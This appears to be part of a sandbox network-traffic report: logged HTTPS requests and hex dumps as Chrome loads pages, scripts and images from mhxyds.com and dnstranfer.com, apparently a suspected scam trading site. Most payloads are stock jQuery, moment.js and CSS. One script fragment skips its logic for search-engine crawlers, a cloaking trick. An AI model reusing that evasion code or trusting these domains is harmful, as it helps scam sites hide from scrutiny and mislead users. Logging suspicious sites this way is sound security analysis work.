2022-08-11 03:42:59 UTC 11002 IN Data Raw: 19 35 35 91 86 db 2a 76 a9 cd 72 f3 f8 d1 95 70 3d 2b 2e ef c5 53 4a dc 31 a9 e4 66 9e d1 2d 8f 52 8f 51 81 
61 fb cb d3 18 ac 9d 53 5f b7 89 b1 b9 78 af 3c 7f 11 dd 30 e1 db f3 aa 93 5e 5c 4c 7e f3 53 e4 07 5b 43 b7 b9 f1 74 31 ff 
00 15 73 da cf 8c f7 b3 6d ac 43 6f 34 9d c9 a8 25 d3 1d 8d 57 29 3c ed 91 ea 7a eb dc b7 5a c6 ba b8 32 35 6a cd a5 32 
f6 aa 72 e9 df 37 4a 39 40 cb 94 93 eb 55 e4 52 6b 68 e9 64 8e 95 5e 6d 38 81 47 29 57 31 d9 72 2b 4f c2 b7 ed a5 ea 
31 c8 3b 1e 6a 26 b2 a2 28 fc a3 f4 a8 92 d2 c6 90 7a dc f6 af 0f f8 ed 65 b3 51 bb b7 ad 50 d7 35 ff 00 b7 c9 8d dd eb ce 
b4 ad 6d ed 80 5d d5 a9 6b aa 19 a4 5e 73 cd 78 f5 e0 cf 7e 85 64 d1 bd e5 f9 a6 ae 58 5b 6d 7a a9 a6 cb e7 25 6b 59 a7 
35 e2 e2 b6 b1 eb d0 35 f4 b4 c0 5a dc b4 6e 2b 1f 4f 
Data Ascii: 55*vrp=+.SJ1f-RQaS_x<0^\L~S[Ct1smCo4%W)<zZ25j2r7J9@URkhd^m8G)W1r+O1;j&(zeQP5m]k^sx~dX[mz
%kY55Zn+O

2022-08-11 03:42:59 UTC 11018 IN Data Raw: 61 d8 83 4b b8 fb 57 c3 9e 19 f8 e3 e2 8f 07 c6 b1 d9 ea b3 98 d7 a2 4b f3 8f d6 bb 1d 33 f6 d3 f1 45 9c 61 67 
b7 b1 b9 c7 7c 15 cd 22 e3 23 eb 16 eb 51 39 f9 ab e6 bb 0f db 6b 56 b9 3b 5f 49 b5 fa 89 0d 64 f8 8f f6 c0 f1 35 e2 bc 76 
f0 d9 d9 86 e0 30 05 98 50 3e 63 ea 86 90 0f e2 5a 82 5d 46 18 ce 1a 68 c7 d5 85 7c 4d aa 7c 67 f1 4e ac 49 9b 5b bc c7 
5c 2b 6d 15 87 77 e2 bd 46 ee 4d d2 6a 57 ae d9 ea 66 34 0b 99 1f 76 dd f8 82 ca cd 7f 7b 75 6f 1a 8e a5 a4 02 b1 35 3f 
8b 7e 1b d2 b7 79 da c5 8a 63 b7 9a 0d 7c 47 77 ac dc 5e 1f df 5d dc c9 fe f4 a4 d5 27 99 5b af cd f5 e6 8d 47 cc 8f b1 f5 
4f da 8b c1 ba 66 e1 fd a8 b3 30 ed 1a 96 cd 73 7a a7 ed a9 e1 cb 7c 8b 7b 5b eb 8f 4f 93 68 af 96 cc e0 0e 9f a5 46 6e 
08 ed 40 73 79 1f 42 6a bf b7 03 36 7e c7 a1 b7 
Data Ascii: aKWK3Eag|"#Q9kV;_Id5v0P>cZ]Fh|M|gNI[\+mwFMjWf4v{uo5?~yc|Gw^]'[GOf0sz|{[OhFn@syBj6~

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

203 192.168.11.20 62583 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:59 UTC 11024 OUT GET /lipgupiao/assets/js/popup-main-page.js HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

204 192.168.11.20 65252 103.235.46.191 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:59 UTC 11024 OUT GET /hm.gif?cc=1&ck=1&cl=24-bit&ds=1920x1080&vl=969&et=0&ja=0&ln=en-us&lo=0&rnd=1325596944&si=17fe70
ecc9d76a927d7f46dbe65fefca&v=1.2.96&lv=1&sn=60357&r=0&ww=1920&ct=!!&u=https%3A%2F%2Fmhxyds
.com%2Findex.php&tt=%E9%97%AA%E7%89%9B%E9%85%8D%E8%B5%84%E8%BF%91%E6%9C%9F%E8%A1
%8C%E6%83%85-%E5%B9%B3%E5%8F%B0%20%E9%97%AA%E7%89%9B%E9%85%8D%E8%B5%84
%7C%20%E9%97%AA%E7%89%9B%E9%85%8D%E8%B5%84%E8%B5%B0%E5%8A%BF%E5%9B%BET
%2B0%E5%B9%B3%E5%8F%B0 HTTP/1.1
Host: hm.baidu.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: HMACCOUNT_BFESS=C94E621F60392D97
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

205 47.243.100.207 443 192.168.11.20 53515 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:59 UTC 11025 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:42:59 GMT
etag: "42d5-62f0d603-202ef6;gz"
last-modified: Mon, 08 Aug 2022 09:23:15 GMT
content-type: text/css
content-length: 17109
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:42:59 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:42:59 UTC 11026 IN Data Raw: 2f 2a 20 68 74 6d 6c 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 30 70 78 3b 0d 0a 7d 20 2a 
2f 0d 0a 2a 20 7b 0d 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 7d 0d 0a 
62 6f 64 79 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 
20 23 66 32 66 36 66 65 3b 0d 0a 20 20 20 20 2f 2a 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 30 70 78 3b 20 2a 2f 0d 
0a 7d 0d 0a 23 77 72 61 70 2d 70 61 67 65 2d 73 6b 79 63 6f 64 65 63 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 
30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 32 66 36 66 65 3b 0d 0a 20 20 20 20 70 6f 73 69 74 
69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 
Data Ascii: /* html{    font-size: 150px;} */* {    box-sizing: border-box;}body {    margin: 0;    background: #f2f6fe;    /* font-
size: 150px; */}#wrap-page-skycodec {    margin: 0;    background: #f2f6fe;    position: fixed;    width:

2022-08-11 03:42:59 UTC 11042 IN Data Raw: 20 20 20 2e 62 75 74 74 6f 6e 73 20 69 6d 67 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 38 
2e 37 36 36 37 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 38 2e 37 36 36 37 70 78 3b 0d 0a 20 
20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3
a 20 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 62 75 74 74 6f 6e 73 7b 0d 0a 20 20 20 20 20 20 20 20 62 6f 
74 74 6f 6d 3a 20 35 35 70 78 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 70 61 79 2d 73 74 79 6c 65 7b 0d 0a 20 20 20 
20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 38 35 2e 33 33 33 33 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 0d 0a 20 20 20 
Data Ascii:    .buttons img{        width: 18.7667px;        height: 18.7667px;        position: relative;        top: 0px;    }    
.buttons{        bottom: 55px    }    .pay-style{        margin-top: -85.3333px;        padding-bottom: 0px;   

Session ID Source IP Source Port Destination IP
Destination
Port

Process

206 47.243.100.207 443 192.168.11.20 62583 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:59 UTC 11026 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:42:59 GMT
etag: "25a44-62f11ce0-202ef4;gz"
last-modified: Mon, 08 Aug 2022 14:25:36 GMT
content-type: application/x-javascript
content-length: 154180
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:42:59 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:42:59 UTC 11043 IN Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 
61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 
67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 
22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 
65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 
6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 
29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 
Data Ascii: /*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */!function(e,t){"use 
strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e)
{if(!e.document)throw new Error("jQ

2022-08-11 03:42:59 UTC 11059 IN Data Raw: 73 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 
3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 
2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 
31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 
70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 
3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 
7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 
Data Ascii: s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r
[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p
&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]
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2022-08-11 03:43:00 UTC 11075 IN Data Raw: 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 
65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 
65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 
6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 
65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 
64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 
74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 
Data Ascii: ,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G()
{this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&
(e.nodeType?e[this.expando]=t:Object

2022-08-11 03:43:00 UTC 11091 IN Data Raw: 5b 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 
22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 
74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2
c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 
5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 
28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 
74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 
Data Ascii: [r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var 
t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remov
e(n,r):S.removeEv

2022-08-11 03:43:00 UTC 11107 IN Data Raw: 2c 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 
72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 
72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 
65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 
69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 
6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 
6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 
Data Ascii: ,S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getA
ttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?ct:void 0)),void 
0!==n?null===n?void S.re

2022-08-11 03:43:00 UTC 11124 IN Data Raw: 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 
2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 
2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 
65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 
65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 
6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 
52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 
Data Ascii: d:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields
)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-
Requested-With"]||(e["X-

2022-08-11 03:43:00 UTC 11140 IN Data Raw: 59 22 2c 35 5d 2c 30 2c 22 79 65 61 72 22 29 2c 73 28 30 2c 5b 22 59 59 59 59 59 59 22 2c 36 2c 21 30 5d 2c 
30 2c 22 79 65 61 72 22 29 2c 74 28 22 79 65 61 72 22 2c 22 79 22 29 2c 6e 28 22 79 65 61 72 22 2c 31 29 2c 6b 28 22 
59 22 2c 44 65 29 2c 6b 28 22 59 59 22 2c 70 2c 77 29 2c 6b 28 22 59 59 59 59 22 2c 76 65 2c 5f 65 29 2c 6b 28 22 59 
59 59 59 59 22 2c 6b 65 2c 79 65 29 2c 6b 28 22 59 59 59 59 59 59 22 2c 6b 65 2c 79 65 29 2c 44 28 5b 22 59 59 59 59 
59 22 2c 22 59 59 59 59 59 59 22 5d 2c 59 29 2c 44 28 22 59 59 59 59 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 
74 5b 59 5d 3d 32 3d 3d 3d 65 2e 6c 65 6e 67 74 68 3f 66 2e 70 61 72 73 65 54 77 6f 44 69 67 69 74 59 65 61 72 28 65 
29 3a 67 28 65 29 7d 29 2c 44 28 22 59 59 22 2c 66 75 6e 63 74 69 6f 6e 
Data Ascii: Y",5],0,"year"),s(0,["YYYYYY",6,!0],0,"year"),t("year","y"),n("year",1),k("Y",De),k("YY",p,w),k("YYYY",ve,_e
),k("YYYYY",ke,ye),k("YYYYYY",ke,ye),D(["YYYYY","YYYYYY"],Y),D("YYYY",function(e,t){t[Y]=2===e.length?f.parseT
woDigitYear(e):g(e)}),D("YY",function

2022-08-11 03:43:00 UTC 11156 IN Data Raw: 5b 31 5d 3f 2d 31 3a 31 2c 73 3d 7b 79 3a 5a 74 28 69 5b 32 5d 2c 6e 29 2c 4d 3a 5a 74 28 69 5b 33 5d 2c 6e 
29 2c 77 3a 5a 74 28 69 5b 34 5d 2c 6e 29 2c 64 3a 5a 74 28 69 5b 35 5d 2c 6e 29 2c 68 3a 5a 74 28 69 5b 36 5d 2c 6e 
29 2c 6d 3a 5a 74 28 69 5b 37 5d 2c 6e 29 2c 73 3a 5a 74 28 69 5b 38 5d 2c 6e 29 7d 29 3a 6e 75 6c 6c 3d 3d 73 3f 73 
3d 7b 7d 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 26 26 28 22 66 72 6f 6d 22 69 6e 20 73 7c 7c 22 74 6f 
22 69 6e 20 73 29 26 26 28 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3b 69 66 28 21 65 2e 69 73 
56 61 6c 69 64 28 29 7c 7c 21 74 2e 69 73 56 61 6c 69 64 28 29 29 72 65 74 75 72 6e 7b 6d 69 6c 6c 69 73 65 63 6f 6e 
64 73 3a 30 2c 6d 6f 6e 74 68 73 3a 30 7d 3b 74 3d 47 74 28 74 2c 65 
Data Ascii: [1]?-1:1,s={y:Zt(i[2],n),M:Zt(i[3],n),w:Zt(i[4],n),d:Zt(i[5],n),h:Zt(i[6],n),m:Zt(i[7],n),s:Zt(i[8],n)}):null==s?s={}:
"object"==typeof s&&("from"in s||"to"in s)&&(t=function(e,t){var n;if(!e.isValid()||!t.isValid())return{milliseconds:0,months:0};t
=Gt(t,e

2022-08-11 03:43:00 UTC 11172 IN Data Raw: 70 65 6f 66 20 74 68 69 73 2e 5f 69 26 26 28 6e 75 6c 6c 21 3d 28 65 3d 56 74 28 53 65 2c 74 68 69 73 2e 5f 
69 29 29 3f 74 68 69 73 2e 75 74 63 4f 66 66 73 65 74 28 65 29 3a 74 68 69 73 2e 75 74 63 4f 66 66 73 65 74 28 30 2c 21 
30 29 29 2c 74 68 69 73 7d 2c 69 2e 68 61 73 41 6c 69 67 6e 65 64 48 6f 75 72 4f 66 66 73 65 74 3d 66 75 6e 63 74 69 6f 
6e 28 65 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 69 73 56 61 6c 69 64 28 29 26 26 28 65 3d 65 3f 57 28 65 29 2e 
75 74 63 4f 66 66 73 65 74 28 29 3a 30 2c 28 74 68 69 73 2e 75 74 63 4f 66 66 73 65 74 28 29 2d 65 29 25 36 30 3d 3d 
30 29 7d 2c 69 2e 69 73 44 53 54 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 75 74 63 4f 6
6 66 73 65 74 28 29 3e 74 68 69 73 2e 63 6c 6f 6e 65 28 29 2e 6d 
Data Ascii: peof this._i&&(null!=(e=Vt(Se,this._i))?this.utcOffset(e):this.utcOffset(0,!0)),this},i.hasAlignedHourOffset
=function(e){return!!this.isValid()&&(e=e?W(e).utcOffset():0,(this.utcOffset()-e)%60==0)},i.isDST=function(){return this
.utcOffset()>this.clone().m

2022-08-11 03:43:00 UTC 11188 IN Data Raw: 48 3a 6d 6d 3a 73 73 22 2c 54 49 4d 45 5f 4d 53 3a 22 48 48 3a 6d 6d 3a 73 73 2e 53 53 53 22 2c 57 45 45 4b 
3a 22 47 47 47 47 2d 5b 57 5d 57 57 22 2c 4d 4f 4e 54 48 3a 22 59 59 59 59 2d 4d 4d 22 7d 2c 66 7d 29 3b 0d 0a 0d 0a 
6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 
72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 28 42 61 69 64 75 73 70 69 64 65 72 7c 62 61 69 64 75 73 70 
69 64 65 72 7c 47 6f 6f 67 6c 65 62 6f 74 7c 42 69 6e 67 62 6f 74 7c 59 61 6e 64 65 78 42 6f 74 7c 66 61 63 65 62 6f 74 7
c 53 6f 67 6f 75 73 70 69 64 65 72 7c 59 69 73 6f 75 53 70 69 64 65 72 7c 73 70 69 64 65 72 7c 62 6f 74 29 2f 69 29 29 2
0 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 
Data Ascii: H:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},f});jQuery(function () {     
if (navigator.userAgent.match(/(Baiduspider|baiduspider|Googlebot|Bingbot|YandexBot|facebot|Sogouspider|YisouSpi
der|spider|bot)/i)) {        return; 

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

207 103.235.46.191 443 192.168.11.20 65252 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:00 UTC 11075 IN HTTP/1.1 200 OK
Cache-Control: private, max-age=0, no-cache
Content-Length: 43
Content-Type: image/gif
Date: Thu, 11 Aug 2022 03:42:59 GMT
Pragma: no-cache
Server: apache
Strict-Transport-Security: max-age=172800
X-Content-Type-Options: nosniff
Connection: close

2022-08-11 03:43:00 UTC 11075 IN Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 
02 02 4c 01 00 3b 
Data Ascii: GIF89a!,L;

Session ID Source IP Source Port Destination IP
Destination
Port

Process

208 192.168.11.20 53133 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:00 UTC 11123 OUT GET /jpg/webinar-banner-1-1665-x-5503649.jpg?w=1000&hash=C46449DD65874A2AC83E8E310F0A237DE1101A22 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

209 192.168.11.20 53134 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:00 UTC 11123 OUT GET /jpg/hero%20peic67d9.jpg?h=368&la=en&mw=656&w=656&hash=4B1B64C75664486C9D64C51258F8B6C
7EEFCB327 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

21 192.168.11.20 54515 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 358 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

210 118.27.105.118 443 192.168.11.20 53133 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:01 UTC 11194 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:43:00 GMT
Content-Type: image/jpeg
Content-Length: 38544
Last-Modified: Thu, 26 Mar 2020 14:27:20 GMT
Connection: close
ETag: "5e7cbbc8-9690"
Expires: Sat, 10 Sep 2022 03:43:00 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

